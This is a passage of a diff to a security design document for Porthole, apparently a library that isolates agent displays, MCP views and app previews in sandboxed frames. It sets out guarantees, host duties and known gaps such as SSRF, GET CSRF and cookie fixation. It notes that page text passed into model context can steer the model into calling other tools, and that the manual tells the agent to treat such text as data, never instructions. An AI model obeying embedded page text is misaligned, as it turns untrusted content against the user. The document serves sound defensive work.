  public suffix Porthole knows, and anything else, is dropped. `frameDomains` and `baseUriDomains`
657
491
  are ignored. Served, the proxy's CSP comes from what the session carries, signed, never from a
658
492
  message.
659
- - The default gates are stricter than the spec's "MAY": `callTool` needs a confirmation and has a
660
- rate (30 a minute), `sendPrompt` and `openLink` a confirmation and the same rate. For a view,
661
- a gesture check a host names is the host's alone (the shell doesn't speak for an MCP view).
493
+ - Default gates stricter than the spec's "MAY": `callTool`, `sendPrompt` and `openLink` each need a
494
+ confirmation, at 30 a minute (S1). A gesture check a host names is the host's alone (the shell
495
+ doesn't speak for an MCP view).
662
496
 
663
497
  **The host must**
664
-
665
- - Send the page's `frame-src`, as for every display.
666
- - Show the person the domains a view declares before mounting it (`readViewResource(…).egress`
667
- and `viewEgress()` give them; the spec says hosts SHOULD warn). Porthole has no prompt for it.
498
+ - Show the person the domains a view declares before mounting it (`readViewResource(…).egress` and
499
+ `viewEgress()` give them; the spec says hosts SHOULD warn). Porthole has no prompt for it.
668
500
  - Route `callTool` only to the view's own server, and refuse the tools the view may not call
669
- (`_meta.ui.visibility`): that is the host's `callTool` handler's decision alone.
501
+ (`_meta.ui.visibility`): the host's `callTool` handler alone decides that.
670
502
  - Keep `setModelContext`'s `show` gate. The React provider shows each update whole outside every
671
- frame (`ContextNotice`); a host's own `show` must show it whole too. Opt out
672
- (`withoutShow: true`) only where the handler itself puts the text in front of the person, or the
673
- content is the host's own (P100).
503
+ frame (`ContextNotice`); a host's own `show` must too. Opt out (`withoutShow: true`) only where
504
+ the handler itself puts the text in front of the person, or the content is the host's own (P100).
674
505
  - Keep `callTool`'s confirmation. If the host's confirm says yes by itself and a view polls a tool
675
506
  more often than every 2 s, give `callTool` its own `gates` with a rate: they replace the default.
676
507
 
677
508
  **Not guaranteed**
678
-
679
- - Declaring is allowing: what the person sees or types in the view may go to its
680
- `connectDomains`.
509
+ - Declaring is allowing: what the person sees or types in the view may go to its `connectDomains`.
681
510
  - Code from `resourceDomains` runs in the frame (still isolated).
682
- - Model context (`ui/update-model-context`) is shown before it goes, but showing isn't reading:
683
- text the person let pass can still steer the model into calling other tools, which the gates on
684
- the view's own calls don't catch. The manual's words (the content's unconfirmed text, never
511
+ - Model context (`ui/update-model-context`) is shown before it goes, but showing isn't reading: text
512
+ the person let pass can still steer the model into calling other tools, which the gates on the
513
+ view's own calls don't catch. The manual's words (the content's unconfirmed text, never
685
514
  instructions) are the second wall (P100, accepted).
686
515
  - The public suffixes Porthole refuses wildcards over are its own short list, not the whole PSL.
687
516
 
@@ -690,7 +519,6 @@ the attacker (c), and its readers are strangers.
690
519
  `presets.url`: a running app (a dev server's preview) framed by its URL (d).
691
520
 
692
521
  **Porthole guarantees**
693
-
694
522
  - Isolation: the app runs on a content origin, never the host's, in a frame with
695
523
  `sandbox="allow-scripts allow-same-origin allow-forms"`. A host may add popups (and popups that
696
524
  escape the sandbox), modals and downloads; top navigation never.
@@ -698,552 +526,382 @@ the attacker (c), and its readers are strangers.
698
526
  session; the viewer can't change it.
699
527
  - Porthole's own cookies are removed before a request reaches the host's `upstream` (HTTP), and
700
528
  before the Node adapter hands a WebSocket to the host's `appSocket`.
701
- - The app's cookie opens it only for its own origin (`Origin`, or `Sec-Fetch-Site` `same-origin`
702
- or `none`) and for a navigation that opens it (GET or HEAD); anything else another origin sends
703
- is a 403 before the upstream. A WebSocket opens from its own origin only: `content.access`, which
704
- the Node adapter asks before `appSocket` and a Worker asks on its own upgrade path (P101).
705
- - `proxyTo`, Porthole's HTTP relay (pass it as `upstream`), also rewrites the headers:
706
- - requests go with `redirect: "manual"`;
707
- - `Host`, hop-by-hop headers, `X-Forwarded-*`, `Forwarded` and `X-Real-IP` are dropped;
708
- - an `Origin` or `Referer` naming the content origin is rewritten to the app's; any other goes
709
- as sent, so an app that checks `Origin` sees a foreign one.
529
+ - The app's cookie opens it only for its own origin (`Origin`, or `Sec-Fetch-Site` `same-origin` or
530
+ `none`) and for a navigation that opens it (GET or HEAD); anything else another origin sends is a
531
+ 403 before the upstream. A WebSocket opens from its own origin only, through `content.access`,
532
+ which the Node adapter asks before `appSocket` and a Worker asks on its own upgrade path (P101).
533
+ - `proxyTo`, Porthole's HTTP relay (pass it as `upstream`), also rewrites the headers: requests go
534
+ with `redirect: "manual"`; `Host`, hop-by-hop headers, `X-Forwarded-*`, `Forwarded` and
535
+ `X-Real-IP` are dropped; an `Origin` or `Referer` naming the content origin is rewritten to the
536
+ app's, any other goes as sent (so an app that checks `Origin` sees a foreign one).
710
537
 
711
538
  **The host must**
712
-
713
539
  - Preview only code it trusts: the app gets no shell and no egress control (P020).
714
540
  - Refuse, in its `instance` callback, upstream addresses it doesn't mean (loopback, private
715
541
  networks): Porthole takes any http(s) URL, and the client's proposal is untrusted (SSRF).
716
- - In a relay of its own, rewrite the headers as `proxyTo` does
717
- (`upstreamHeaders.request(headers, { origin, target })`). A WebSocket relay that takes the
718
- access from `content.access(request)` gets the browser's whole `Cookie` header, Porthole's
719
- cookies included: send the app the headers `upstreamHeaders.request(…, { websocket: true })`
720
- makes (Porthole's cookies removed, the upgrade's own headers kept).
542
+ - In a relay of its own, rewrite the headers as `proxyTo` does (`upstreamHeaders.request(headers, {
543
+ origin, target })`). A WebSocket relay that takes the access from `content.access(request)` gets
544
+ the browser's whole `Cookie` header, Porthole's cookies included: send the app the headers
545
+ `upstreamHeaders.request(…, { websocket: true })` makes (Porthole's cookies removed, the upgrade's
546
+ own headers kept).
721
547
  - Keep previews off pages with displays that read data (S7).
722
- - Expect a served (domain) display's `blocked` from two sources only (P125): its door, or, before
723
- any frame, your own issue endpoint's refusal (`sign-in`, `denied`, `not-found`). Neither is the
724
- previewed app's word; a url-mode app's frame status still is (above), so never put a preview's
725
- outcome in the same place in your UI as a served display's.
548
+ - Never put a preview's outcome in the same place in your UI as a served display's: a served
549
+ display's `blocked` comes only from its door or your issue endpoint (P125), a url-mode app's from
550
+ the app.
726
551
 
727
552
  **Not guaranteed**
728
-
729
553
  - The app's network is its own.
730
- - The app's word about how it loaded is its own: it shares its origin with Porthole's entry page
731
- and status pages and has no shell to speak first, so it can make the display's `outcome` any
732
- `blocked`, with any code, and the host show its fallback ("open this in a new tab to sign in")
733
- with a link out of the page (P124). A host that previews code it doesn't trust words that
734
- fallback as its own, not as Porthole's or the person's sign-in.
554
+ - So is its word about how it loaded. It shares its origin with Porthole's entry page and status
555
+ pages and has no shell to speak first, so it can make the display's `outcome` any `blocked`, with
556
+ any code, and the host show its fallback ("open this in a new tab to sign in") with a link out of
557
+ the page (P124). A host that previews code it doesn't trust words that fallback as its own, not as
558
+ Porthole's or the person's sign-in.
735
559
  - A page on another origin can still open the app by a navigation (a link, a frame of its own),
736
560
  which reaches the app's GET routes as any link does.
737
- - A request with neither `Origin` nor `Sec-Fetch-Site` goes on: in browsers without fetch
738
- metadata (Safari before 16.4, older Chromium and Firefox) a sibling's GET subresource carries
739
- the app's cookie (GET CSRF, script-shaped responses); POSTs are still refused, by `Origin`. The
740
- app's own script can set a non-`HttpOnly` `__Host-porthole-<key>` where none exists: fixation
741
- with a session it holds (P101).
742
- - Through `proxyTo`, `True-Client-IP` and `CF-Connecting-IP` reach the app as the client sent
743
- them.
561
+ - A request with neither `Origin` nor `Sec-Fetch-Site` goes on: in browsers without fetch metadata
562
+ (Safari before 16.4, older Chromium and Firefox) a sibling's GET subresource carries the app's
563
+ cookie (GET CSRF, script-shaped responses); POSTs are still refused, by `Origin`. The app's own
564
+ script can set a non-`HttpOnly` `__Host-porthole-<key>` where none exists: fixation with a session
565
+ it holds (P101).
566
+ - Through `proxyTo`, `True-Client-IP` and `CF-Connecting-IP` reach the app as the client sent them.
744
567
  - The app is a sibling of every other content origin, with no CSP of Porthole's beyond
745
568
  `frame-ancestors`: S3's cookie problems are easier from here.
746
569
 
747
570
  ### S7. Several displays on one page
748
571
 
749
- **The rule: a page's egress is the union of its frames' egress.** Any frame can `postMessage`
750
- any other frame on its page, and nothing inside a frame can stop it. So what one display was given
751
- can be handed to the display with the widest network.
572
+ **The rule: a page's egress is the union of its frames' egress.** Any frame can `postMessage` any
573
+ other frame on its page, and nothing inside a frame can stop it, so what one display was given can
574
+ be handed to the display with the widest network.
752
575
 
753
576
  | Beside a display that reads the host's data or holds what the person types | |
754
577
  | --- | --- |
755
578
  | Closed egress, or Porthole's libraries | Fine. |
756
- | `LIBRARY_CDNS` | Fine for ordinary data. Every request path to its nine origins is a narrow channel read by their operators: not for highly sensitive data. |
579
+ | `LIBRARY_CDNS` | Fine for ordinary data, not for highly sensitive data: every request path to its nine origins is a narrow channel read by their operators (S2). |
757
580
  | An MCP view with `connectDomains` | Its domains become the page's. |
758
581
  | `anyHttps` | No: any image URL is a way out. |
759
582
  | url mode | No: the app's network is its own. |
760
583
 
761
- - Porthole doesn't enforce this: `defineDisplays` takes any kinds together, and
762
- `frameSources` is the union of all of theirs. Group displays by page yourself.
763
- - Where another app frames yours (`framedBy`, P141, P144), the page is the outer page's, and its
764
- frames are in the union too: content can post to the outer page and to every frame in its tree.
765
- The outer page's own frames, and their network, are its authors' to group, and its listeners must
766
- check `event.source` and `event.origin` (§6 "What every host must do").
584
+ - Porthole doesn't enforce this: `defineDisplays` takes any kinds together, and `frameSources` is
585
+ the union of all of theirs. Group displays by page yourself.
586
+ - Where another app frames yours (`framedBy`, P141, P144), the outer page's frames are in the union
587
+ too; grouping them is its authors' job, and its listeners must check `event.source` and
588
+ `event.origin` (§6 "What every host must do").
767
589
  - An opaque frame also inherits the page's own CSP, so a strict page narrows its opaque frames
768
590
  further (P058). A served frame has only its own policy.
769
591
 
770
- **What sharing a scope costs, which Porthole does not stop** (the premise is a scope its author
771
- controls — one person's artifact and its versions, one session's widgets — not a scope shared across
772
- people who distrust each other). A scope's displays share one origin and run
773
- content there with `allow-same-origin`, so one reaches another's document (`top[i]`) and its storage.
774
- P125 stops a sibling speaking Porthole's word for another display (its door says how loading went,
775
- unreachably), but a sibling of the scope can still, against another display of it:
776
-
777
- - spend its three restarts (`MAX_RESTARTS`) by reloading or wiping it, so its outcome is a
778
- `timeout` or, once the restarts run out, `blocked: error` (a fallback, no link) the person may
779
- read as the display's own. It always has an outcome: restarts don't start its clock again (one
780
- `loadTimeoutMs` per loading episode, from its first run until an outcome), and a frame stopped
781
- after its restarts is `blocked: error` (found by Cato on WebKit during P125: before, it was
782
- stopped with no outcome at all, an empty box);
783
- - deface it — rewrite its document — since they share an origin;
592
+ **What sharing a scope costs, which Porthole does not stop.** The premise is a scope its author
593
+ controls (one person's artifact and its versions, one session's widgets), not one shared by people
594
+ who distrust each other. A scope's displays share one origin and run content there with
595
+ `allow-same-origin`, so one reaches another's document (`top[i]`) and its storage. The door stops a
596
+ sibling speaking Porthole's word for another display (P125), but a sibling can still, against
597
+ another display of its scope:
598
+
599
+ - spend its three restarts (`MAX_RESTARTS`) by reloading or wiping it, so its outcome is a `timeout`
600
+ or, once they run out, `blocked: error` (a fallback, no link) the person may read as the display's
601
+ own. It always has an outcome: restarts don't restart its clock (one `loadTimeoutMs` per loading
602
+ episode, from its first run until an outcome), and a frame stopped after its restarts is `blocked:
603
+ error`;
604
+ - deface it (rewrite its document), since they share an origin;
784
605
  - read a sandbox-proxy view's HTML once the host has sent it into the view.
785
606
 
786
- These are the costs of putting displays an author controls in one scope. To deny them, put displays
787
- that distrust each other in **different scopes** (different origins): there is no other way since
788
- 0.16.0 removed nested pages (P149). What a sibling cannot do is forge Porthole's own
789
- fallback (a sign-in prompt with a link out): that is the door's wall (P125).
607
+ To deny these, put displays that distrust each other in **different scopes** (different origins);
608
+ there is no other way (P149). What a sibling cannot do is forge Porthole's own fallback (a sign-in
609
+ prompt with a link out): that is the door's wall (P125).
790
610
 
791
611
  ## 7. The display layer and the app runtime
792
612
 
793
613
  ### The display layer
794
614
 
795
615
  What it is: the presets, the isolation, the egress walls, the shell, the bridge for the display's
796
- host functions (`sendPrompt`, `openLink`, `downloadFile`, `copyText`, `callTool`, `readData`,
797
- `subscribeData`, `setModelContext`, `reportError`, annotations, find in page) and the generated
798
- manual.
616
+ host functions (S1's table, annotations, find in page) and the generated manual.
799
617
 
800
618
  **Porthole guarantees** the two lines of [§4](#4-two-lines-of-defense) for each display except url
801
- mode (S6), with S1–S5's open items: isolation, closed egress, the gates. One config generates the
802
- CSP, the sandbox, the shell's wiring and the manual, and a test holds them in agreement
803
- (`test/agreement.test.ts`), so the agent is told what the sandbox allows. The leak suite tests each
804
- wall on three engines, and `defineHostConformance` runs it against a host's own page.
805
-
806
- **The host must** do what [every host](#what-every-host-must-do) does, write the handlers (their
807
- effects are its own), and group displays by page (S7).
808
-
809
- **The host's fallback** (P040, P124). A display's `outcome` says how its frame loaded, and a host
810
- draws its own UI on a `blocked` one, in Porthole's wording (`frameFallback`: "Open this in a new
811
- tab to sign in", "You can't open this anymore") with a link out of the page: UI the person takes
812
- for the host's and Porthole's, which content must not be able to summon. A `blocked` comes from a
813
- frame status (`porthole/notifications/frame-status`), and nothing in that message says who sent
814
- it: Porthole's status pages are documents of the frame's own window and origin, as content is. So
815
- the host takes one only where content can't have said it. **A served display** (a
816
- served shell, a page, a view through the sandbox proxy) is framed on its scope's origin, where the
817
- scope's others run content with `allow-same-origin`: one of them reaches a new document there before
818
- its first script runs and could speak for it, so **no frame status from its own frame is ever
819
- taken** (each run, the first is dropped with one `frame-status` host error), and its silence is a
820
- `timeout`, never a fallback. Its word comes from its **door** instead (P125): a page of Porthole's
821
- on the same origin, in a hidden opaque frame of the host's own (`sandbox="allow-scripts"`, no name,
822
- `inert`, 0×0) that no content shares an origin with and no sandboxed sibling can navigate, taken
823
- before the content frame is made — `open`, or `blocked` and why. An **opaque frame**'s every status is the content's; a **url-mode app**'s is taken (S6).
824
-
825
- This closes the audit of 2026-10-30 (P124-1): before P125, a served display could
826
- be spoken for by a same-scope sibling — the sibling reached a new document of its scope (`top[i]`,
827
- same origin before the shell ran), posted a frame status taken as the run's first word, or stopped
828
- or rewrote it so its silence read as `framing`, or reloaded a running one into a new run it spoke
829
- first in. The door closes every route: the sibling can't read, navigate or speak from it (it is
830
- opaque, unnamed, host-sandboxed), and the content frame's own word and silence are no longer taken.
831
- P124-2 is closed too: a file set's entry must be a page (`.html`/`.htm`; `checkFileSet`,
832
- `admitFiles`, `lintFiles` refuse another), and a set stored before that rule answers Porthole's
833
- `not-found` status page — the door says `not-found`, never an inert file that says nothing.
834
-
835
- The known costs that remain are the costs of sharing a scope (S7). A served location
836
- without a door (a server older than the host, a locator that drops it, a clean address framed as it
837
- is) is refused before any frame: `blocked: locate` and a `door` host error (P125). A clean address
838
- is for a tab: in a frame the content origin answers it with a page that has no script and goes
839
- nowhere, never the app's authorize or sign-in. To show what a clean address names in a frame, the
840
- host resolves it through its issue endpoint first, and a refusal there (signed out, denied, not
841
- found) is the display's outcome with no frame built. P125 also records why no timing rule can stand
842
- in for that: a `load` event is not a committed document (DECISIONS P125).
843
-
844
- **Annotations** (`annotate`, P053, P104, P107). The shell that draws marks and reports anchors shares
845
- its realm with the content, so:
846
-
847
- - *What content learns.* Everything the host sends in a `show` is posted into the frame's window,
848
- where the content can listen: each mark's id, anchor and, where given, `count` (the number on
849
- its marker). A host gives ids that say nothing (never a person's name or a comment's words), and
850
- a count only where the page may know how many there are. Who commented and what they wrote stay
851
- in the host's own UI, outside the frame, and so does what the person types there, unless a
852
- page takes the keyboard meanwhile ("The keyboard" below).
853
- - *Drafts* (P107). A mark with `kind: "draft"` (a comment its author hasn't posted) is drawn apart,
854
- a dashed line and a hollow marker with no number, so the page also learns which of its marks are
855
- drafts: that the person viewing it is writing a comment there, before they post it. That is new
856
- information for the page, accepted where the page has no way out: drafts are the host's to send
857
- only to their author's own frame (Porthole can't tell whose frame it is), the page is the one
858
- being commented on and already sees where the person selects (`selected`), and closed egress
859
- ([§4](#4-two-lines-of-defense)) keeps it off the network. Closed egress doesn't cover the
860
- channels the host itself opens, and through them a draft's existence, place and timing can
861
- leave: a page with the runtime's `db` (writes) and `user` can call `user.get()`, read the marks
862
- shown to it, and write "viewer A is drafting at section 3" where its author and other viewers
863
- read it before A posts; once A posts, the page can tie that posted comment to A (the anchor and
864
- the time match). Origins a config declares for egress (an MCP App's `connectDomains`, S5; an
865
- `egress` a host opened in its own config; the `liveWidget` preset itself has none, P103), and a
866
- host function that sends the page's words somewhere, are channels of the same kind (S4, and the
867
- app runtime below). A host that sends drafts to such a page accepts that its author and other viewers can
868
- learn of them. A draft carries nothing else: the host drops its count before the frame (control
869
- `draft-count`), so a page can't read how many drafts are at an anchor unless the host sends a
870
- mark per draft, and its id is the host's, as any mark's (random, never the draft's words); the
871
- draft's words are typed into the host's composer, which the page can try to take the keyboard
872
- from ("The keyboard" below). A host
873
- that sends drafts into a frame others see (a shared screen, a frame several viewers share) tells
874
- that page, and anything it draws for them, what its author hasn't posted.
619
+ mode (S6), with S1–S5's open items. One config generates the CSP, the sandbox, the shell's wiring
620
+ and the manual, and a test holds them in agreement (`test/agreement.test.ts`), so the agent is told
621
+ what the sandbox allows. The leak suite tests each wall on three engines; `defineHostConformance`
622
+ runs it against a host's own page. **The host must** do what [every host](#what-every-host-must-do)
623
+ does, write the handlers (their effects are its own), and group displays by page (S7).
624
+
625
+ **The host's fallback** (P040, P124, P125). On a `blocked` outcome the host draws its own UI in
626
+ Porthole's wording (`frameFallback`: "Open this in a new tab to sign in", "You can't open this
627
+ anymore") with a link out of the page. The person takes it for the host's and Porthole's, so content
628
+ must not be able to summon it. A frame status (`porthole/notifications/frame-status`) doesn't say
629
+ who sent it: Porthole's status pages are documents of the frame's own window and origin, as content
630
+ is. So a `blocked` is the word of a page of Porthole's server, a gateway or the host's own pages,
631
+ never of an opaque frame or of content in a frame that speaks:
632
+
633
+ - **A served display** (a served shell, a page, a view through the sandbox proxy) shares its scope's
634
+ origin with content that runs with `allow-same-origin` and can reach a new document there before
635
+ its first script runs. So **no frame status from its own frame is ever taken** (each run, the
636
+ first is dropped with one `frame-status` host error: a display trying to speak as Porthole), and
637
+ its silence is a `timeout`, never a fallback. Its word is its **door**'s: a page of Porthole's on
638
+ the same origin, in a hidden frame of the host's (`sandbox="allow-scripts"`, no name, `inert`,
639
+ 0×0) that shares an origin with no content and that no sandboxed sibling can navigate, read before
640
+ the content frame is made (`open`, or `blocked` and why). A sibling can't read, navigate or speak
641
+ from it. No timing rule can stand in for it: a `load` event is not a committed document.
642
+ - A `blocked` before any frame (`sign-in`, `denied`, `not-found`) is the host's own issue endpoint's
643
+ refusal, mapped by `createHost`: the host's backend's word, as trustworthy as that endpoint.
644
+ - An **opaque frame**'s every status is the content's. A **url-mode app**'s is taken, so it can say
645
+ any outcome (S6).
646
+ - A served location without a door (a server older than the host, a locator that drops it, a clean
647
+ address framed as it is) is refused before any frame: `blocked: locate` and a `door` host error.
648
+ Upgrade the server or Worker first, and resolve clean addresses through issue (S4). In a frame, a
649
+ clean address gets a page with no script that goes nowhere, never the app's authorize or sign-in.
650
+ - A file set's entry must be a page (`.html`/`.htm`; `checkFileSet`, `admitFiles` and `lintFiles`
651
+ refuse another). A set stored before that rule answers Porthole's `not-found` status page.
652
+
653
+ What remains are the costs of sharing a scope (S7).
654
+
655
+ **Annotations** (`annotate`, P053, P104, P107; mechanism and the control proving each point:
656
+ [DESIGN.md](DESIGN.md) § Annotations). The shell that draws marks and reports anchors shares the
657
+ content's realm.
658
+
659
+ - *What content learns.* All of each `show`: every mark's id, anchor and any `count`. Give ids that
660
+ say nothing (never a person's name or a comment's words), and a count only where the page may know
661
+ how many there are. Who commented and what they wrote stay in the host's UI outside the frame, as
662
+ does what the person types there, unless the page takes the keyboard.
663
+ - *Drafts* (P107). A `kind: "draft"` mark is drawn apart: the page learns its viewer is writing a
664
+ comment there before they post it. Accepted where the page has no way out: the host sends drafts
665
+ only to their author's own frame (Porthole can't tell whose frame it is), the page already sees
666
+ where the person selects, and closed egress keeps it off the network. Any channel the host opens
667
+ carries a draft's existence, place and timing: `db` writes with `user` (a page can record "viewer
668
+ A is drafting at section 3" for its author and other viewers before A posts, then tie A's posted
669
+ comment to it), declared egress (an MCP App's `connectDomains`, an `egress` the host opened;
670
+ `liveWidget` has none, P103), or a host function that sends the page's words somewhere. A host
671
+ that sends drafts to such a page accepts that. A draft carries nothing else: its count is dropped
672
+ before the frame (the page can't count drafts at an anchor unless sent a mark per draft), and its
673
+ id is the host's (random). Drafts sent into a frame others see (a shared screen) tell that page,
674
+ and what it draws for them, what their author hasn't posted.
875
675
  - *What content can fake.* Any report: a selection while the host asks for one, where marks are,
876
- and a marker's click (`activated`) for any mark the host shows with a marker (a count, or a draft:
877
- P107), without a click on it and with any box. It can draw look-alike markers, or lay its own elements over Porthole's.
878
- The host takes each report only for what it asked for and its own shown ids, rebuilt within
879
- `ANNOTATION_LIMITS`, at 120 a minute; `activated` for a mark without a marker, or an id it
880
- doesn't show, is dropped (negative control `annotation-activated`). No proof of a gesture is
881
- asked of it (0.16.0, P149; from 0.10 to 0.15, P105 took one only while the host's page had
882
- transient user activation, which lasts 5 s after any gesture anywhere on the page, so a fake
883
- posted on a timer or a scroll passed anyway): a page can open the host's view for one of its
884
- shown marks at any moment, and one posted on the person's own press in the content lands under
885
- their pointer. The guard on the host's view (§6) is the defence.
886
- - *Labels.* An anchor's `label` is the page's text: the words selected, or an element's own words,
887
- else its `alt`, `aria-label` or `title`, which the person never sees on the page. The host takes
888
- out of every label everything a person can't see (every format character, bidi controls and
889
- zero-width ones among them, every default-ignorable code point, variation selector, tag,
890
- private-use character and control: P105, with none of P100's exceptions for emoji and shaped
891
- letters, whose surroundings a page can fake), so what it shows is what it has. A text
892
- anchor's quote (`exact`) keeps them, to be found again: a host that hands a quote or a label to
893
- a model hands it the page's words, to be read as that, never as instructions.
894
- - *Boxes.* Every box a report carries (`selected`, `activated`, `anchored`) is the page's word.
895
- Porthole clamps each to the frame's viewport as it is when the report arrives, before the host
896
- hears it: the part inside is kept, and a box wholly outside becomes one of no size on the
897
- nearest edge (control `annotation-rect-clamp`). So a page can't make the host place its own UI
898
- over the rest of the app. It still chooses any point inside its own frame: a box is a
899
- positioning hint, never a fact about the content. The box is in the frame's own CSS px, its
900
- layout size: a host that scales or transforms the frame (a thumbnail, a zoomed preview) maps the
901
- box through that transform before placing anything by it. A platform's `viewport()` that answers
902
- no size, or throws, clamps every box to nothing at the frame's corner (P105). The frame's size is
903
- read for every report the host takes, before the report's rate: a forced layout of the host's
904
- page per message, which a repeated `ui/initialize` already causes (accepted, P105).
905
- A newer shell also says where each mark is in the document (`documentRect` in `anchored` and
906
- `tracked`, with the document's `scroll`, P132), so a host can place a mark scrolled out of the
907
- frame. Porthole checks those numbers (finite, within `ANNOTATION_LIMITS.coordinate`, sizes not
908
- negative; a malformed one drops the report) but doesn't clamp them, since a clamp would erase
909
- what they are for: a host that maps a `documentRect` onto its own page without clipping to the
910
- frame's box (or to its own region beside it) lets the page choose where that UI goes, outside
911
- the frame as well (accepted, P132; the host's duty in §6). They say nothing else: the page knows
912
- where its words are anyway. Where a selection or a mark's words end (`lastLineDocumentRect` in
913
- `selected`, `anchored` and `tracked`, P133) is one more such box, read, checked and left unclamped
914
- the same way, with the same duty; `selected` also carries `scroll` now. A report with a last line
915
- and no `scroll` is dropped (P137), as a malformed part drops one. A followed selection's reports
916
- (`selectionTracked`, P138) are the same boxes, checked and clamped the same way, taken only while
917
- the host follows the selection and within `tracked`'s 60 a second (control
918
- `track-selection-checks`); their `inView` is false unless the box reaches the frame's viewport as
919
- the host reads it. They carry nothing of the page's words; a host that follows no selection
920
- drops them unread, so a malformed one is no refusal either (P140). The page reads the host's word
921
- that starts and ends the following, so it learns when a composer is open on its selection, as it
922
- learns which card is open from `track` (P112): end it on every close, kept or dismissed. The
923
- outline the frame draws over what was picked, or over the followed selection, is in the shell's
924
- layer, a closed shadow root that takes no pointer: the page can't read it, and its clicks reach
925
- the page as before. What the frame keeps for a follow (a reference to the element picked, or a
926
- copy of the selected range) is not in that layer: it is held in the shell's own script, in
927
- memory, in a variable no page script can name. It is the page's own DOM all the same (the
928
- element is the page's, and the range's copy moves with the page's nodes), so it tells the page
929
- nothing it can't read itself, and the page can change or remove what it points at, which is
930
- `orphaned`. In 0.14.15 every host's frame kept both after a pick, the outline until the next
931
- pick or selection, `clearSelection`, `start`, `stop`, `clear`, Escape or the element leaving the
932
- page, and the kept selection until the next `selected`; since P140 only a host that follows the
933
- selection (`track({ selection: true })`) or said at `start` that it will (`keepSelection`) gets
934
- them, and any other host's frame draws and keeps nothing after a pick, as in 0.14.14. The page
935
- reads `keepSelection` in every `start`, so it learns at each one that the host will follow the
936
- selection: before any pick, and earlier than the first `track` would tell it. That is a property
937
- of the host's UI, not of anything the person did or wrote.
938
- - *What holds, against content that patches none of the DOM's or JavaScript's built-ins.* A real
939
- press or click on a marker reaches none of the content's handlers (the shell's first listener
940
- stops it; control `marker-click`) and moves neither focus nor a selection (control
941
- `marker-prevent`), so content can't act on it or cancel it; nor can it read or reach inside the
942
- shell's layer (a closed shadow root). Content can still tell that a marker was pressed, and
943
- roughly where: the pointer leaving its own element names the layer, the layer matches `:hover`
944
- and `:active`, and the frame gets user activation. On touch (P119), a marker is also the
945
- 44 by 44 px box around its bubble, drawn in that same layer: a tap there is a press on the
946
- marker, with the same checks (a trusted click, the main button, on the layer), so the content
947
- loses a tap within 13 px of a bubble (a few px of its words above and below it), as it loses
948
- one on the bubble. Which pointer is used is read from trusted pointer events only; a page that
949
- makes its own up changes nothing, and a real `activated` still needs a real click.
950
- - *The keyboard on a marker* (P133, reversing P104's point 6). A marker is a button with a tab
951
- stop. Enter and Space on it are stopped in the shell's first listener, as a press is (control
952
- `marker-key`), and the click they make is a trusted one the content doesn't get (`marker-click`):
953
- it can neither hear nor cancel them. Every other key on a marker is the page's, as on a button of
954
- its own, Tab too. So what P104 feared stands, and is accepted: the markers join a focus order the
955
- content controls. It can take the focus from a marker (`focus()` from any handler or timer), keep
956
- the person from reaching one (a trap on Tab in its own elements), draw its own look-alike with
957
- its own tab stop, and tell that the person is on one (`document.activeElement` is the layer, its
958
- own element's `focusout` names it). None of that gives it what it lacks: a marker's press has no
959
- power but `activated`, which it can fake anyway within the host's checks, keys go to a marker only
960
- while the frame has the focus, so nothing typed in the host passes through it,
961
- and a page's made-up key or `click()` is no trusted click. Assistive technology now reads the
962
- marker's name, the page's own words after the shell's, in quotes that bound nothing (P134: a
963
- text anchor's `label`, an element's quote, or what follows the tag in its `label`). A host can't
964
- rely on a marker being reached, as it can't on one being seen: its own list of marks is the
965
- keyboard way that holds.
966
- - *Which input made an `activated`* (P134). The report doesn't say, and a field saying so would be
967
- the page's word. A host reads its own page instead, as the report arrives: is the frame element
968
- `document.activeElement`? The page can't fake that reading, and that is all it gets. It tells that
969
- the focus is in the frame, not that a key was pressed: a pointer's click after the person was
970
- in the frame reads the same, and the page can move the focus into its frame itself, from
971
- anywhere (nothing takes such a move back, P149). **The page can still forge
972
- `activated` while the person really is in the frame, and this signal doesn't stop that.** A host
973
- that moves the keyboard into its view on the signal takes §6's second exception, with its
974
- conditions: a page can put the person's next keys in that view, and keeping those keys from posting
975
- is the host's own gate on that view's controls and on its shortcuts, not Porthole's.
976
- - *Back to a marker* (P134). `annotations.focusMark(id)` is the host's word to the frame
977
- (`porthole/annotate.focusMark`, `{ id }`), for one moment only: after the keyboard closed the host's
978
- own view of that mark, by Escape or by a Tab past its first or last control. No content goes with it, beyond an id the frame has, and nothing comes back. The
979
- shell moves the focus through the platform's `focus` as it was before content ran (control
980
- `marker-focus`: a page that replaced it is handed the marker otherwise); with no such marker it does
981
- nothing. The page reads the message, so it learns a card closed, and can take the focus back at once
982
- or forge the message and focus a marker itself, which gives it nothing a fake `activated` doesn't:
983
- a host can't rely on the focus landing.
984
- A word that has to wait while the frame finds its marks is up to a second old when it could land
985
- (P135). A word the shell doesn't park can be as old: the frame takes it when its thread is free, a
986
- busy page changes nothing the shell can see, and a frame out of process doesn't stop the host's
987
- page meanwhile (P137). A marker's `focus()` takes the keyboard with no gesture on Chromium and
988
- WebKit: a person gone on to a host's button would be pulled back. So the shell drops a parked word unless the focus is in its document as it lands, and
989
- a word older than 100 ms unless the focus is there as it comes, by `hasFocus` as it was before
990
- content ran (control `marker-has-focus`: a page that replaced it to say yes gets the landing
991
- otherwise; `marker-late` takes the first test out, `marker-busy` the second). A word's age is the
992
- shell's `Date.now` as it was before content ran, less the stamp `createHost` put on it as it was
993
- sent (`at`): one machine's wall clock (control `marker-clock`: a page that stopped its own clock
994
- makes a late word look fresh otherwise). A word with no stamp, from an older host, is old. A fresh
995
- word isn't asked: the frame has no focus then on the very path it is for. That leaves a person who
996
- moves on within those 100 ms, faster than a person does, and a page that forges the whole word with
997
- a fresh stamp, or rewrites a real word as it arrives, as it can forge the word at all, which gives it nothing (P134). A page
998
- can really take the focus and so pass the test, which gives it nothing, since it then has the
999
- keyboard; and a word that passes it can still move the focus off the page's own field onto a marker,
1000
- inside the frame. §6 has the host's side: a second `focusMark` after its own `display.focus()`.
1001
- The word is a message, so from the host's close until the frame moves, the focus rests on the host's
1002
- body. A forged `activated` in that gap finds no frame focused, so a host that gates a view on "the
1003
- frame had the focus" doesn't gate that one. That is accepted, on the host's side of the wall: such
1004
- a view takes no focus and keeps keys out until the focus has reached the frame (in Raft, content
1005
- inert for 500 ms, and the focus handed back to the frame within 150 ms if the marker didn't take
1006
- it, with `focusMark` again after it, P135), so the keys go to the page and nothing is written.
1007
- - *What doesn't hold against content that does.* The shell shares the content's realm. It reads
1008
- and stops a marker's press through the platform's own functions and getters, kept before
1009
